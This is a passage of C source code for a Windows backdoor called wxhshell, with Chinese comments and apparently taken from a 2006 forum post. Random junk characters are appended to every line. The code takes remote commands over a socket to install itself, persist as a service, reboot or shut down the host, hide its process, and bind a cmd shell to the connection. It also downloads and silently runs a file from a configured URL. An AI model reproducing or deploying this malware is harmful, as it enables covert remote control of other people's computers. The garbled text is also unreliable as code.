  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <*<U!J-i  
  } )1lu=gc  
  else { z C=a3  
^ q?1U?4  
    switch(cmd[0]) { ^/toz).Q  
  8YX)0i'  
  // 帮助 &$=!dA  
  case '?': { */(I[p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l1A5Y5x9=  
    break; <r~wZ}s  
  } [}-3PpF  
  // 安装 T  p<s1'"  
  case 'i': { wC`;f5->  
    if(Install())  w_Uh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _fn1)  
    else  @pFj9[N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 71"+<C .  
    break; ]a?bzOr,  
    } $shp(T,q  
  // 卸载 X:EEPGE  
  case 'r': { 7C7>y/uS  
    if(Uninstall()) 7O)" `  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FOH@OY  
    else 6ZOy&fd,Ty  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1$pb (OK  
    break; XN;&qR^j  
    } BMFF=  
  // 显示 wxhshell 所在路径 dU_;2#3m  
  case 'p': { G-u]L7t&1  
    char svExeFile[MAX_PATH]; Xj@+{uvQB  
    strcpy(svExeFile,"\n\r"); `)K y0&?  
      strcat(svExeFile,ExeFile); \+m$  
        send(wsh,svExeFile,strlen(svExeFile),0); *jITOR!uF`  
    break; pK}=*y~$  
    } ?mv:neh  
  // 重启 IRW^ok.'b!  
  case 'b': { V5p0h~PK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jVWK0Zba  
    if(Boot(REBOOT)) 8 lT{1ro  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); },@``&e  
    else { 5MF#&v  
    closesocket(wsh); C&<~f#lB  
    ExitThread(0); pHC /(6?  
    } .c+9P<VmC}  
    break; QkQ!Ep(  
    } :Ht; 0|[H  
  // 关机 28I^$> [  
  case 'd': { K pHw-6"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BPv>$ m+.  
    if(Boot(SHUTDOWN)) cn`iX(ZgR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !%)]56(  
    else { 2g-` ]Vqb  
    closesocket(wsh); ny*i+4Mb  
    ExitThread(0); O.QK"pKD\  
    } FX}Gt=  
    break; ezm&]F`  
    } ,Nm$i"Lg  
  // 获取shell ZDt?j   
  case 's': { k N7Bd}  
    CmdShell(wsh); Bc5+ss  
    closesocket(wsh); vXE0%QE'Q  
    ExitThread(0); &,:h)  
    break; `A@w7J'  
  } 9902+pW  
  // 退出 5's~>up&  
  case 'x': { l'[A? %L%{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pG3k   
    CloseIt(wsh); Cu;5RSr2Z  
    break; v,@F|c?_S  
    } ?-)I+EAnE  
  // 离开 Na{Y}0=^y  
  case 'q': { L2UsqVU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1q7tiMvV-  
    closesocket(wsh); ino:N5&;;  
    WSACleanup(); xc @Ss[  
    exit(1); =qy@Wvj$  
    break; O`[aU%4b  
        } W?woNt'n  
  } 7gF"=7{-  
  } a_~=#]a  
zeb=8 Dg :  
  // 提示信息 c9"r6j2m5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;&b.T}Nf06  
} Q\ppfc{,  
  } OHv!  
 VqSc;w  
  return; X}ma]  
} #%0Bx3uM  
W~1~k{A  
// shell模块句柄 avQJPB)}Sb  
int CmdShell(SOCKET sock) ^x>Qf(b  
{ Z @ dC+0[=  
STARTUPINFO si; , t5 '  
ZeroMemory(&si,sizeof(si)); $;N*cH~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4<dcB@v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *cuuzi&  
PROCESS_INFORMATION ProcessInfo; E H:T  
char cmdline[]="cmd"; FzQTDu9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'k0[rDFc#3  
  return 0; Pz*_)N}j >  
} m0n)dje  
r0;:t   
// 自身启动模式 -a,-J]d0+  
int StartFromService(void) <EO$]>;0  
{ dO> VwP  
typedef struct '7^M{y/dU  
{ RD7^&  
  DWORD ExitStatus; sUJ%x#u}Fk  
  DWORD PebBaseAddress; )SF}2?7e  
  DWORD AffinityMask; `{k"8#4:qA  
  DWORD BasePriority; x+8_4>,>Y7  
  ULONG UniqueProcessId; afBE{  
  ULONG InheritedFromUniqueProcessId; Ysq'2  
}   PROCESS_BASIC_INFORMATION; }o4N<%/+  
3<?   
PROCNTQSIP NtQueryInformationProcess; S{pXs&4O  
~c^>54  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e}/Lk5q!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V&8Vw F^-  
klg25#t  
  HANDLE             hProcess; gxz-R?.  
  PROCESS_BASIC_INFORMATION pbi; !U9|x\BqJ2  
h,aAw#NE*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ryF7  
  if(NULL == hInst ) return 0; f"7O  "6  
xsd_Uu*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (wDm*bZ*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {'?)FX*W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0.T4{JS#  
u0aJu  
  if (!NtQueryInformationProcess) return 0; lO&3{dOYE  
]D[DU]K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4#x5MM  
  if(!hProcess) return 0; $3`>{3x$  
;<yd^Xs  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {~!q`Dr3?q  
@1.QEyXG  
  CloseHandle(hProcess); SDu#Yt&mhh  
Q_* "SRz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S5~VD?O,  
if(hProcess==NULL) return 0; -p3Re9  
Bj k]ZU0T  
HMODULE hMod; A+6 n#  
char procName[255]; \drqG&wl  
unsigned long cbNeeded; '!l 1=cZD  
mxb(<9O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i1H\#;`$  
_^Mx>hb4.  
  CloseHandle(hProcess);  .ObZ\.I  
u6>?AW1~  
if(strstr(procName,"services")) return 1; // 以服务启动 -~?J+o+Pr"  
l @^3Exwt  
  return 0; // 注册表启动 )* 4fzo  
} dJT]/g  
O3TQixE  
// 主模块 @d Jr/6Yx  
int StartWxhshell(LPSTR lpCmdLine) nJ~drG}TD  
{ Ee`1F#c  
  SOCKET wsl; Wu4Lxv]B4  
BOOL val=TRUE; ?5_7;Ha  
  int port=0; =FE|+!>PA  
  struct sockaddr_in door; mM`wITy  
6-?66g mT  
  if(wscfg.ws_autoins) Install(); afYc\-"  
/|xra8?H[  
port=atoi(lpCmdLine); J7r|atSk  
0a-:<zm  
if(port<=0) port=wscfg.ws_port; /rUo{j  
PaV-F_2  
  WSADATA data; ,-7R(iMd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =-_B:d;  
m(pE5B(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   EwOV;>@T?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V(Ub!n:j  
  door.sin_family = AF_INET; K|dso]b/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .e_cgad :  
  door.sin_port = htons(port); ^]{R.(#z  
ByCnD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `jwa<N4e@  
closesocket(wsl); . 'Y]R3\M+  
return 1; 31/Edd"]  
} s kg*  
]X I*Wsn  
  if(listen(wsl,2) == INVALID_SOCKET) { [IK  )  
closesocket(wsl); R: l&2k@  
return 1; V}\~ugN)y  
} @}u9Rn*d;  
  Wxhshell(wsl); Pp )3(T:  
  WSACleanup(); ?O>V%@  
<=f}8a.R3  
return 0; 9K9DF1SOa  
oWYmj=D~2z  
} $@UN4B?y  
:=J,z,H_U  
// 以NT服务方式启动 &^W|iXi#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I1PuHf Qs  
{ ;qrB\j"  
DWORD   status = 0; ;[fw]P n  
  DWORD   specificError = 0xfffffff; `ho1nY$)CE  
O%FPS=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S#+h$UVh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *4V=z#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \hB5@e4i2  
  serviceStatus.dwWin32ExitCode     = 0; uDEvzk42  
  serviceStatus.dwServiceSpecificExitCode = 0; V7/I>^X  
  serviceStatus.dwCheckPoint       = 0; Q[nEsYP  
  serviceStatus.dwWaitHint       = 0; mauI42  
k+ze74_"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T<XA8h*  
  if (hServiceStatusHandle==0) return; ih7/}   
9(@\&>)  
status = GetLastError(); XGl+S  
  if (status!=NO_ERROR) mvq&Pj 1}L  
{ =5\|[NSK-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :s4p/*f  
    serviceStatus.dwCheckPoint       = 0; b,C aWg  
    serviceStatus.dwWaitHint       = 0; WL'P)lI5  
    serviceStatus.dwWin32ExitCode     = status; o LvZ   
    serviceStatus.dwServiceSpecificExitCode = specificError; I :vs;-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ub|V\M{  
    return; Yl3n2R /U  
  } 5-M&5f.   
|`cKD >  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zzxGAVu  
  serviceStatus.dwCheckPoint       = 0; ,lyb!k8  
  serviceStatus.dwWaitHint       = 0; }`@728E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lyGhdgWc  
} JYTP 2  
Y./2Ely  
// 处理NT服务事件,比如:启动、停止 2sJ(awN>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 92 [; Y  
{ 3\B>lKhQ  
switch(fdwControl) bua+I;b  
{ >/8yGBD  
case SERVICE_CONTROL_STOP: dxmE3*b`  
  serviceStatus.dwWin32ExitCode = 0; !_"fP:T>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y*UA, <-  
  serviceStatus.dwCheckPoint   = 0; Vv ?-"\Z>  
  serviceStatus.dwWaitHint     = 0; >k'c' 7/  
  { `DC2gJKk%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l g-X:Z.  
  } {DR`;ea])1  
  return; [<6S%s  
case SERVICE_CONTROL_PAUSE: Cvf[/C+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B#M5}QT|2  
  break; Rp5#clsy  
case SERVICE_CONTROL_CONTINUE: ?#45wC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; DK$s&zf  
  break; $f zaPD4.  
case SERVICE_CONTROL_INTERROGATE: f\jLqZY  
  break; e:5bzk!~  
}; xftBSdVE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mVy|{Oh  
} ]bK=FIK2  
QnJZr:4b  
// 标准应用程序主函数 2K3{hxB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8p:j&F  
{ g4l !xT  
 w/kt3Lw  
// 获取操作系统版本 I= &stsH  
OsIsNt=GetOsVer(); .dav8n*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RS^lKJ1 U  
L>3x9  
  // 从命令行安装 hy`?E6=9+  
  if(strpbrk(lpCmdLine,"iI")) Install(); 43@{JK9G  
/\hzb/  
  // 下载执行文件 [xGf,;Z  
if(wscfg.ws_downexe) { |fHV2Y`:g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6#HK'7ClL  
  WinExec(wscfg.ws_filenam,SW_HIDE); m_)FC-/pSl  
} xjVS   
<UQe.K"  
if(!OsIsNt) { !Y[lQXv  
// 如果时win9x,隐藏进程并且设置为注册表启动 fyByz=pl  
HideProc(); P3=W|81e  
StartWxhshell(lpCmdLine); ,=#F//  
} BYMi6wts  
else &8vCZN^  
  if(StartFromService()) < Pky9o;  
  // 以服务方式启动 MZT23 [+  
  StartServiceCtrlDispatcher(DispatchTable); 6Q${U7%7  
else ;u>DNG|.  
  // 普通方式启动 `nZ)>  
  StartWxhshell(lpCmdLine); egq67S  
e=+?K5q{P(  
return 0;  7*?}:  
}
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只看该作者 1 发表于: 2006-10-10
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